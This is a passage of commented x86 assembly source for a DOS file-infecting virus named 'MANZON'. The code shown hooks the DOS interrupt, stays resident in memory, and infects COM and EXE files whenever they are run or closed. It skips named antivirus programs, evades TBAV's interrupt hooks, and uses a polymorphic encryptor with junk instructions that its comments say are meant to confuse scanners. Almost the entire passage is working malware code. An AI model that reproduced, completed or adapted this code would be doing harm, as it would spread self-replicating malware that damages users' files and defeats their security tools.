;+ then uses the modified decrytor to decrypt the virus again. :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
ED_start:
|
||||||
|
|
||||||
|
;+:+:+: Create RandomValue for simple enc/decryptor +:+:+:+
|
||||||
|
|
||||||
|
in al,40h
|
||||||
|
mov byte ptr cs:[DSRan],al
|
||||||
|
|
||||||
|
;+:+:+: Encrypt virus, using simple encryptor :+:+:+:+
|
||||||
|
|
||||||
|
mov ax,offset EncryptDecryptSimple
|
||||||
|
call ax
|
||||||
|
|
||||||
|
;+:+:+: Encrypt virus, using created encryptor :+:+:+:+
|
||||||
|
|
||||||
|
mov si,0100h ; Start of viruscode
|
||||||
|
mov cx,filecodelength
|
||||||
|
encloop:
|
||||||
|
mov ax,offset CCode2 ; offset to created enc-routine
|
||||||
|
call ax ; call it
|
||||||
|
inc si
|
||||||
|
loop encloop ; Encrypt whole virus
|
||||||
|
|
||||||
|
;+:+:+: Write encrypted virus to file :+:+:+:+
|
||||||
|
|
||||||
|
mov bx,word ptr ds:[File_H] ; Get filehandle
|
||||||
|
mov ah,40h ; Function WRITE
|
||||||
|
mov cx,filecodelength
|
||||||
|
mov dx,0100h
|
||||||
|
pushf
|
||||||
|
push cs ; Fake interrupt call
|
||||||
|
call DoOldInt
|
||||||
|
|
||||||
|
;+:+:+: Decrypt virus, using created encryptor :+:+:+:+
|
||||||
|
|
||||||
|
mov si,0100h ; Start of viruscode
|
||||||
|
mov cx,filecodelength
|
||||||
|
decloop:
|
||||||
|
mov ax,offset CCode1
|
||||||
|
call ax ; Call builded encryptroutine
|
||||||
|
inc si
|
||||||
|
loop decloop
|
||||||
|
|
||||||
|
;+:+:+: Decrypt virus, using simple decryptor :+:+:+:+
|
||||||
|
|
||||||
|
mov ax,offset EncryptDecryptSimple
|
||||||
|
call ax
|
||||||
|
|
||||||
|
;+:+:+: Write random number of extra bytes to file (0-15) :+:+:+:+
|
||||||
|
|
||||||
|
mov bx,word ptr ds:[File_H] ; Get filehandle
|
||||||
|
in ax,40h ; Get random in al
|
||||||
|
mov ds,ax ; Read from random segment
|
||||||
|
and ax,0fh ; mask bit 0-3
|
||||||
|
mov cx,ax ; No. bytes to write
|
||||||
|
mov ah,40h
|
||||||
|
add word ptr cs:[CLength],cx ; add length (must know this
|
||||||
|
xor dx,dx ; when creating EXE-header).
|
||||||
|
pushf
|
||||||
|
push cs ; Fake interrupt call
|
||||||
|
call DoOldInt
|
||||||
|
|
||||||
|
push cs ; Push back codeseg in DS
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
ret
|
||||||
|
|
||||||
|
DoOldInt:
|
||||||
|
sti
|
||||||
|
db 0eah
|
||||||
|
OldInt dd 0
|
||||||
|
|
||||||
|
ED_End:
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Following table contains 16 different 4-byte codesqeunces, :+
|
||||||
|
;+ randomly used by the decryptionroutine. The first 8 affects :+
|
||||||
|
;+ the decryption algoritm, and has a matching 4-byte inst- :+
|
||||||
|
;+ ruction in the ENCode-table. The rest is just garbage- :+
|
||||||
|
;+ instructions, used to make scanning harder. The morpher :+
|
||||||
|
;+ will pick a random number (1-16) of these instructions, :+
|
||||||
|
;+ and build the decryption routine. :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
DECode db 02eh,080h,004h ; add byte ptr cs:[si],?
|
||||||
|
Rand1a db ?
|
||||||
|
db 02eh,080h,02ch ; sub byte ptr cs:[si],?
|
||||||
|
Rand2a db ?
|
||||||
|
db 02eh,080h,034h ; xor byte ptr cs:[si],?
|
||||||
|
Rand3a db ?
|
||||||
|
db 02eh,0C0h,004h ; rol byte ptr cs:[si],?
|
||||||
|
Rand4a db ?
|
||||||
|
db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],?
|
||||||
|
Rand5a db ?
|
||||||
|
db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop
|
||||||
|
db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop
|
||||||
|
db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop
|
||||||
|
;-------The rest is just bullshit, used to confuse scanners
|
||||||
|
db 053h,08bh,0dch,05bh ; push bx; mov bx,sp; pop bx
|
||||||
|
db 093h,043h,090h,043h ; xchg bx,ax; inc bx; nop; inc bx
|
||||||
|
db 040h,08ah,0c4h,048h ; inc ax; mov al,ah; dec ax
|
||||||
|
db 08ch,0c8h,056h,05fh ; mov ax,cs; push si; pop di;
|
||||||
|
db 074h,000h,075h,000h ; je $+2; jne $+2;
|
||||||
|
db 08Bh,0c3h,02bh,0d8h ; mov ax,bx; sub ax,bx
|
||||||
|
db 003h,0feh,02ch,002h ; add di,si; sub al,2
|
||||||
|
db 0ebh,001h,0b4h,090h ; jmp $+3; mov ah,90h (b4h + nop)
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Following table contains the encryptionversions of the :+
|
||||||
|
;+ first 8 instructions in the DECode-table. :+
|
||||||
|
;+ SUB will be ADD, ROR will be ROL etc. :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
ENCode db 02eh,080h,02ch ; sub byte ptr cs:[si],?
|
||||||
|
Rand1b db ?
|
||||||
|
db 02eh,080h,004h ; add byte ptr cs:[si],?
|
||||||
|
Rand2b db ?
|
||||||
|
db 02eh,080h,034h ; xor byte ptr cs:[si],?
|
||||||
|
Rand3b db ?
|
||||||
|
db 02eh,0C0h,00Ch ; ror byte ptr cs:[si],?
|
||||||
|
Rand4b db ?
|
||||||
|
db 02eh,0C0h,004h ; rol byte ptr cs:[si],?
|
||||||
|
Rand5b db ?
|
||||||
|
db 02eh,0feh,004h,090h ; inc byte ptr cs:[si]; nop
|
||||||
|
db 02eh,0feh,00ch,090h ; dec byte ptr cs:[si]; nop
|
||||||
|
db 02eh,0f6h,01ch,090h ; neg byte ptr cs:[si]; nop
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Following table contains four different ways to increase :+
|
||||||
|
;+ SI. Used only in the DECode-routine (CCode1). :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
DEcSI db 083h,0c6h,001h,090h ; add si,1; nop
|
||||||
|
db 046h,033h,0dbh,0f8h ; inc si; xor bx,bx; clc
|
||||||
|
db 04eh,046h,046h,0f9h ; dec si; inc si; sinc si; stc
|
||||||
|
db 083h,0c6h,002h,04eh ; add si,2; dec si
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Other data :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
CLength db ? ; Length of decryptor
|
||||||
|
db ?
|
||||||
|
ComExe db 0 ; 0=Com, 1=Exe
|
||||||
|
buffer db 0c3h ; Buffer contains original 3 bytes of
|
||||||
|
orgep dw 0 ; COM-file. 03ch (RET) will exit program
|
||||||
|
; in normal DOS. Used only first time.
|
||||||
|
buffer2 db 0e9h ; JMP OP-code, used to build COM-jump
|
||||||
|
entry_p dw 0 ; Entrypoint, part of JMP-instruction
|
||||||
|
|
||||||
|
Real_CS dw 0
|
||||||
|
Real_IP dw 0
|
||||||
|
Real_SS dw 0
|
||||||
|
Real_SP dw 0
|
||||||
|
|
||||||
|
IPOffs dw 100h ; Start offset (100h for comfiles)
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ INT 21h Entrypoint. Check if virus is calling, and if file :+
|
||||||
|
;+ should be infected. :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
NewVect:
|
||||||
|
cmp ax,0DCBAh ; Is virus calling?
|
||||||
|
jne Notvirus
|
||||||
|
mov dx,ax
|
||||||
|
iret
|
||||||
|
Notvirus:
|
||||||
|
cli ; Clear Interrupts
|
||||||
|
cld ; Clear Direction
|
||||||
|
cmp ah,3eh ; Is file going to be closed?
|
||||||
|
je Short FileClose
|
||||||
|
|
||||||
|
cmp ax,4b00h ; Is file going to be executed?
|
||||||
|
je Short FileExecute
|
||||||
|
jmp DoOldInt
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Following code is called when a file is going to be executed. :+
|
||||||
|
;+ The file will be opened, and then closed. When the file is :+
|
||||||
|
;+ closed, the virus will call itself by INT21/3Eh, and the file :+
|
||||||
|
;+ will be infected. Pretty smart, eh? :) :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
FileExecute:
|
||||||
|
pusha
|
||||||
|
|
||||||
|
mov ax,3d00h ; Open file for ReadOnly
|
||||||
|
int 21h
|
||||||
|
mov bx,ax ; Filehandle in bx
|
||||||
|
mov ah,3eh
|
||||||
|
int 21h ; Close file (infect file :))
|
||||||
|
|
||||||
|
popa
|
||||||
|
jmp DoOldInt
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Following code is called when a file is going to be closed. :+
|
||||||
|
;+ The code uses INT2F/1220h to get the adress of JFT-entry, :+
|
||||||
|
;+ and then INT2F/1216h to get adress of SFT. :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
FileClose:
|
||||||
|
cmp bx,5 ; Is it a standard device?
|
||||||
|
jb DoOldInt
|
||||||
|
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
pusha
|
||||||
|
|
||||||
|
push bx
|
||||||
|
mov ax,1220h ; Table in es:di
|
||||||
|
int 2fh
|
||||||
|
mov ax,1216h
|
||||||
|
mov bl,byte ptr es:[di]
|
||||||
|
int 2fh
|
||||||
|
pop bx
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ This is a very poor way to check the 2 first characters in a :+
|
||||||
|
;+ filename, but the asciicode will look nice =) :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
mov ax,word ptr es:[di+20h]
|
||||||
|
xchg al,ah
|
||||||
|
add ax,0302h
|
||||||
|
|
||||||
|
cmp ax,'F-' + 0302h ; Don't infect F-PROT
|
||||||
|
je short Skip_Infect
|
||||||
|
cmp ax,'SC' + 0302h ; Don't infect SCAN
|
||||||
|
je short Skip_Infect
|
||||||
|
cmp ax,'TB' + 0302h ; Don't infect TB*.* (TBAV)
|
||||||
|
je short Skip_Infect
|
||||||
|
cmp ax,'TO' + 0302h ; Don't infect TOOLKIT
|
||||||
|
je short Skip_Infect
|
||||||
|
cmp ax,'FV' + 0302h ; Don't infect FV386
|
||||||
|
je short Skip_Infect
|
||||||
|
cmp ax,'FI' + 0302h ; Don't infect FINDVIRU
|
||||||
|
je short Skip_Infect
|
||||||
|
cmp ax,'VI' + 0302h ; Don't infect VI*.*
|
||||||
|
je short Skip_Infect
|
||||||
|
cmp ax,'K-' + 0302h ; Don't infect R.L's stuff :)
|
||||||
|
je short Skip_Infect
|
||||||
|
|
||||||
|
Check_Com:
|
||||||
|
cmp word ptr es:[di+28h],'OC'
|
||||||
|
jne short Check_Exe
|
||||||
|
cmp byte ptr es:[di+2ah],'M'
|
||||||
|
jne short Check_Exe
|
||||||
|
or byte ptr es:[di+2],2 ; Set R&W Access
|
||||||
|
call Infect_Com
|
||||||
|
|
||||||
|
Check_Exe:
|
||||||
|
cmp word ptr es:[di+28h],'XE'
|
||||||
|
jne short Skip_Infect
|
||||||
|
cmp byte ptr es:[di+2ah],'E'
|
||||||
|
jne short Skip_Infect
|
||||||
|
or byte ptr es:[di+2],2 ; Set R&W Access
|
||||||
|
call Infect_Exe
|
||||||
|
|
||||||
|
Skip_Infect:
|
||||||
|
popa
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
jmp DoOldInt
|
||||||
|
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Infect COM-file :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
Infect_Com:
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov ax,4202h ; Go to EOF
|
||||||
|
xor cx,cx
|
||||||
|
cwd
|
||||||
|
int 21h ; Get filelength in AX
|
||||||
|
push ax
|
||||||
|
|
||||||
|
mov ax,4200h ; Go to SOF
|
||||||
|
xor cx,cx
|
||||||
|
cwd
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3fh ; Read the 3 first bytes
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset buffer
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
pop ax ; Get Filelength
|
||||||
|
sub ax,[orgep] ; Virus entrypoint, if file
|
||||||
|
cmp ax,filecodelength+100h ; is infected
|
||||||
|
jnb short LooksOk
|
||||||
|
cmp ax,filecodelength-10h
|
||||||
|
jb short LooksOk
|
||||||
|
jmp short DontInfect
|
||||||
|
|
||||||
|
LooksOk:
|
||||||
|
mov ax,4202h ; Go to EOF
|
||||||
|
xor cx,cx
|
||||||
|
cwd
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cmp ax,62000 ; Is file small enough?
|
||||||
|
jnb short DontInfect
|
||||||
|
|
||||||
|
sub ax,3 ; Make the first 3 bytes
|
||||||
|
mov word ptr ds:[buffer2+1],ax ; (jmp to eof (viruscode))
|
||||||
|
|
||||||
|
mov [IPOffs],100h ; Tell that offset is 100h
|
||||||
|
|
||||||
|
push bx
|
||||||
|
call WriteVirus
|
||||||
|
pop bx
|
||||||
|
|
||||||
|
mov ax,4200h ; Move to SOF
|
||||||
|
xor cx,cx
|
||||||
|
cwd
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,40h ; Write first 3 bytes
|
||||||
|
mov cx,3
|
||||||
|
mov dx,offset buffer2
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
DontInfect:
|
||||||
|
ret
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Infect EXE-file :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
Infect_Exe:
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
mov [File_H],bx
|
||||||
|
|
||||||
|
mov ax,4200h ; Go to SOF
|
||||||
|
xor cx,cx
|
||||||
|
cwd
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3fh
|
||||||
|
mov cx,19h ; Size of EXE-header
|
||||||
|
mov dx,offset EXE_Header
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
cmp word ptr ds:[EXE_Sig],'MZ' ; Be sure it's a real EXE.
|
||||||
|
je short ItIsAnExe
|
||||||
|
cmp word ptr ds:[EXE_Sig],'ZM'
|
||||||
|
je short ItIsAnExe
|
||||||
|
jmp short DontInfect
|
||||||
|
ItIsAnExe:
|
||||||
|
cmp byte ptr ds:[EXE_Win],40h ; Is it a NE-EXE?
|
||||||
|
je short DontInfect ; Don't infect.
|
||||||
|
|
||||||
|
xor eax,eax
|
||||||
|
xor ebx,ebx
|
||||||
|
xor ecx,ecx
|
||||||
|
|
||||||
|
les ax,dword ptr ds:[EXE_IP] ; get CS:IP in ES:AX
|
||||||
|
mov ds:Real_CS,es
|
||||||
|
mov ds:Real_IP,ax
|
||||||
|
push ax ; Save IP
|
||||||
|
push es ; Save CS
|
||||||
|
|
||||||
|
les ax,dword ptr ds:[EXE_SS] ; get SS:SP in AX:ES
|
||||||
|
mov ds:Real_SS,ax
|
||||||
|
mov ds:Real_SP,es
|
||||||
|
push es
|
||||||
|
pop bx ; SP in BX
|
||||||
|
|
||||||
|
shl eax,4 ; Build real SS:SP in EBX
|
||||||
|
add eax,ebx
|
||||||
|
|
||||||
|
pop cx ; Get CS in CX
|
||||||
|
pop bx ; Get IP in BX
|
||||||
|
shl ecx,4 ; Build real CS:IP in ECX
|
||||||
|
add ecx,ebx
|
||||||
|
|
||||||
|
sub eax,ecx ; EAX = SS:SP-CS:IP
|
||||||
|
|
||||||
|
cmp eax,(filecodelength+400)
|
||||||
|
jnb short NotInfected
|
||||||
|
cmp eax,filecodelength
|
||||||
|
jb short NotInfected
|
||||||
|
jmp SkipInfect
|
||||||
|
|
||||||
|
NotInfected:
|
||||||
|
xor eax,eax
|
||||||
|
mov bx,[File_H]
|
||||||
|
|
||||||
|
mov ax,4202h ; Go to EOF
|
||||||
|
xor cx,cx
|
||||||
|
cwd
|
||||||
|
int 21h ; Get filelength in dx:ax
|
||||||
|
|
||||||
|
xor ecx,ecx
|
||||||
|
xor ebx,ebx
|
||||||
|
mov cx, word ptr ds:[EXE_Siz] ; Get Siz/512 from header
|
||||||
|
mov bx, word ptr ds:[EXE_Mod] ; Get Siz mod 512 from header
|
||||||
|
shl ecx,9 ; Mul 512
|
||||||
|
add ecx,ebx ; Build Real memsize
|
||||||
|
|
||||||
|
mov bx,dx
|
||||||
|
shl ebx,16
|
||||||
|
add ebx,eax ; Build filesize in EBX
|
||||||
|
|
||||||
|
cmp ecx,ebx ; Is whole file loaded?
|
||||||
|
jb SkipInfect ; Nope, skip infect
|
||||||
|
|
||||||
|
xor ecx,ecx
|
||||||
|
push ax
|
||||||
|
pop cx ; Low word in cx
|
||||||
|
|
||||||
|
mov ax,dx
|
||||||
|
shl eax,16
|
||||||
|
add eax,ecx ; Build filesize in eax
|
||||||
|
mov edx,eax ; Save filesize
|
||||||
|
|
||||||
|
xor ebx,ebx
|
||||||
|
mov bx, word ptr ds:[EXE_SHe]
|
||||||
|
shl ebx,4 ; Build real Headersize
|
||||||
|
sub eax,ebx ; Filesize-Headersize=CS:IP!!
|
||||||
|
push eax ; Save new CS:IP for later use
|
||||||
|
|
||||||
|
call FixSegOffs ; Fix CS:IP so IP<10h
|
||||||
|
|
||||||
|
mov dword ptr ds:[EXE_IP],eax
|
||||||
|
|
||||||
|
mov [entry_p],ax ; Set virus entrypoint
|
||||||
|
mov [IPOffs],-3 ; No offset in EXE-files
|
||||||
|
|
||||||
|
mov bx,[File_H]
|
||||||
|
call WriteVirus ; Write virus to EOF
|
||||||
|
|
||||||
|
xor eax,eax
|
||||||
|
xor ebx,ebx
|
||||||
|
mov ax,word ptr ds:[EXE_Mod] ; Bytes on last page
|
||||||
|
mov bx,word ptr ds:[EXE_Siz] ; Size/512
|
||||||
|
shl ebx,9 ; Mul 512
|
||||||
|
add eax,ebx ; Make progsize
|
||||||
|
add eax,filecodelength ; Add code_size
|
||||||
|
xor ebx,ebx
|
||||||
|
mov bx,word ptr ds:[CLength]
|
||||||
|
add eax,ebx ; Add decryptsize
|
||||||
|
add eax,12 ; add InitCX,Loop etc
|
||||||
|
mov ebx,eax
|
||||||
|
shr ebx,9 ; Make new progsize/512
|
||||||
|
and ax,01ffh ; Make modulo
|
||||||
|
|
||||||
|
mov word ptr ds:[EXE_Siz],bx
|
||||||
|
mov word ptr ds:[EXE_Mod],ax
|
||||||
|
|
||||||
|
add word ptr ds:[EXE_Min],(code_size+100)/16
|
||||||
|
mov word ptr ds:[EXE_Max],-1
|
||||||
|
|
||||||
|
pop eax ; Get CS:IP
|
||||||
|
xor ebx,ebx
|
||||||
|
mov bx,word ptr ds:[CLength] ; Length of decryptor
|
||||||
|
add eax,ebx
|
||||||
|
add eax,12 ; Add INIT_CX, INIT_SI etc
|
||||||
|
add eax,VirStk-Code_Start ; Add pos of Stack
|
||||||
|
|
||||||
|
inc eax ; Add one byte and...
|
||||||
|
and al,0feh ; ...make sure it's even
|
||||||
|
|
||||||
|
call FixSegOffs ; Fix so SP<10h
|
||||||
|
|
||||||
|
mov word ptr ds:[EXE_SP],ax ; Save new SS:SP
|
||||||
|
shr eax,16
|
||||||
|
mov word ptr ds:[EXE_SS],ax ; Save new SS:SP
|
||||||
|
|
||||||
|
mov bx,[File_H]
|
||||||
|
|
||||||
|
mov ax,4200h ; Go to SOF
|
||||||
|
xor cx,cx
|
||||||
|
cwd
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,40h
|
||||||
|
mov cx,18h ; Size of EXE-header
|
||||||
|
mov dx,offset EXE_Header
|
||||||
|
int 21h ; Write new header
|
||||||
|
|
||||||
|
SkipInfect:
|
||||||
|
ret
|
||||||
|
|
||||||
|
FixSegOffs:
|
||||||
|
mov ebx,eax
|
||||||
|
xor ax,ax
|
||||||
|
shl eax,12
|
||||||
|
mov ax,bx
|
||||||
|
FixSegOffsLoop:
|
||||||
|
mov bx,ax
|
||||||
|
cmp bx,10h
|
||||||
|
jb short DoneFix
|
||||||
|
add eax,00010000h - 00000010h ; 1 para up..
|
||||||
|
jmp short FixSegOffsLoop
|
||||||
|
DoneFix:
|
||||||
|
ret
|
||||||
|
|
||||||
|
id db 'MANZON (c) '
|
||||||
|
|
||||||
|
db 'R' + 1
|
||||||
|
db 'e' + 2
|
||||||
|
db 'd' + 3
|
||||||
|
db '-' + 4
|
||||||
|
db 'A' + 5
|
||||||
|
db '/' + 6
|
||||||
|
db 'I' + 7
|
||||||
|
db 'R' + 8
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:
|
||||||
|
;+ Following code will check if virus is resident, +:
|
||||||
|
;+ allocate memory, copy virus to memory, set the new +:
|
||||||
|
;+ interrupt vector and transfer control to the program +:
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:
|
||||||
|
|
||||||
|
InstallVirus:
|
||||||
|
pop si ; Get Start of virus+3
|
||||||
|
push si ; Save it again for later use.
|
||||||
|
push ds ; push PSP for later use
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+: Ceck if virus is active :+:+:+:+:+:+:+:+:+:+:+:
|
||||||
|
|
||||||
|
mov ax,0DCBAh
|
||||||
|
int 21h
|
||||||
|
cmp dx,ax
|
||||||
|
je short Installed ; Virus found in memory
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+: Allocate memory for virus :+:+:+:+:+:+:+:+:+:+:+:
|
||||||
|
|
||||||
|
mov ah,4ah ; Get top of memory
|
||||||
|
push ax
|
||||||
|
mov bx,-1
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
sub bx,(code_size)/16+2 ; Resize memory allocation
|
||||||
|
pop ax
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,48h ; Allocate memory for Virus
|
||||||
|
mov bx,(code_size)/16+1
|
||||||
|
int 21h
|
||||||
|
jc short Installed ; If error then exit
|
||||||
|
|
||||||
|
dec ax ; dec AX to get pointer to MCB
|
||||||
|
mov es,ax
|
||||||
|
mov word ptr es:[1],8 ; Set DOS as owner of memory
|
||||||
|
sub ax,0fh ; 100 bytes from allocstart
|
||||||
|
mov es,ax ; to get same offset in TSR-code
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+: Copy virus to memory :+:+:+:+:+:+:+:+:+:+:+:
|
||||||
|
|
||||||
|
sub si,6
|
||||||
|
mov di,0100h
|
||||||
|
mov cx,code_size
|
||||||
|
rep movsb ; move 'em up
|
||||||
|
|
||||||
|
;****** Get adress of old INT21h and save it in the Do21-jump.
|
||||||
|
|
||||||
|
push es
|
||||||
|
pop ds
|
||||||
|
mov ax,3521h
|
||||||
|
int 21h
|
||||||
|
tbavfuck:
|
||||||
|
cmp word ptr es:[bx],05ebh
|
||||||
|
jne notbav
|
||||||
|
cmp byte ptr es:[bx+2],0eah
|
||||||
|
jne notbav
|
||||||
|
les bx,es:[bx+3]
|
||||||
|
jmp tbavfuck
|
||||||
|
notbav:
|
||||||
|
mov word ptr ds:[OldInt+2],es ; Save address to real INT
|
||||||
|
mov word ptr ds:[OldInt],bx ; in the JMP-string
|
||||||
|
|
||||||
|
;****** Set new INT21h
|
||||||
|
|
||||||
|
mov dx,offset NewVect ; Set New interruptvector
|
||||||
|
mov ax,2521h
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
installed:
|
||||||
|
pop ax ; Get PSP
|
||||||
|
pop si
|
||||||
|
sub si,106h
|
||||||
|
cmp word ptr cs:[si+IPoffs],100h ; Are we in a COM-file
|
||||||
|
je short RestoreComFile
|
||||||
|
|
||||||
|
RestoreExeFile:
|
||||||
|
mov ds,ax ; Let ds contain PSP
|
||||||
|
mov es,ax ; Let es contain PSP
|
||||||
|
add ax,10h ; Get start of file
|
||||||
|
|
||||||
|
add word ptr cs:[si+Real_CS],ax ; Add start seg to CS
|
||||||
|
add ax,word ptr cs:[si+Real_SS]
|
||||||
|
mov ss,ax ; Get programs SS
|
||||||
|
mov sp,word ptr cs:[si+Real_SP] ; Get programs SP
|
||||||
|
sub sp,2 ; Fix right value for SP
|
||||||
|
|
||||||
|
push word ptr cs:[si+Real_CS]
|
||||||
|
push word ptr cs:[si+Real_IP]
|
||||||
|
xor ax,ax
|
||||||
|
xor bx,bx
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov si,ax
|
||||||
|
mov di,ax
|
||||||
|
mov bp,ax
|
||||||
|
retf
|
||||||
|
|
||||||
|
RestoreComFile:
|
||||||
|
mov ax,cs
|
||||||
|
mov ds,ax
|
||||||
|
mov es,ax
|
||||||
|
|
||||||
|
add si,offset buffer ; Restore real 3 first bytes
|
||||||
|
mov di,0100h
|
||||||
|
movsw
|
||||||
|
movsb
|
||||||
|
xor ax,ax
|
||||||
|
xor bx,bx
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov si,ax
|
||||||
|
mov di,ax
|
||||||
|
mov bp,ax
|
||||||
|
push 0100h
|
||||||
|
ret
|
||||||
|
|
||||||
|
SimpleCryptEnd:
|
||||||
|
|
||||||
|
StartDecryptSimple:
|
||||||
|
call GetIPLabel
|
||||||
|
GetIPLabel:
|
||||||
|
mov bp,sp
|
||||||
|
mov si,[bp]
|
||||||
|
sub si,GetIPLabel-SimpleCryptStart
|
||||||
|
mov cx, SimpleCryptEnd-SimpleCryptStart
|
||||||
|
Call DecryptSimple
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
EncryptDecryptSimple:
|
||||||
|
mov si,offset SimpleCryptStart
|
||||||
|
mov cx, SimpleCryptEnd-SimpleCryptStart
|
||||||
|
call DecryptSimple
|
||||||
|
ret
|
||||||
|
|
||||||
|
DecryptSimple:
|
||||||
|
db 02eh,080h,034h ; xor byte ptr cs:[si],?
|
||||||
|
DSRan db 0
|
||||||
|
inc si
|
||||||
|
loop DecryptSimple
|
||||||
|
ret
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Following code acts like a buffer in memory, and is not :+
|
||||||
|
;+ included when the virus is written to a file. :+
|
||||||
|
;+ (Normally known as the heap) :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
filecodeend: ; Label to calculate code_size,
|
||||||
|
; and to use when jumping to copy
|
||||||
|
; of EWD-routine
|
||||||
|
|
||||||
|
ED_buf db ED_end-ED_start dup (?) ; space for copy of en EWD-routine
|
||||||
|
|
||||||
|
File_H dw ? ; Filehandle
|
||||||
|
|
||||||
|
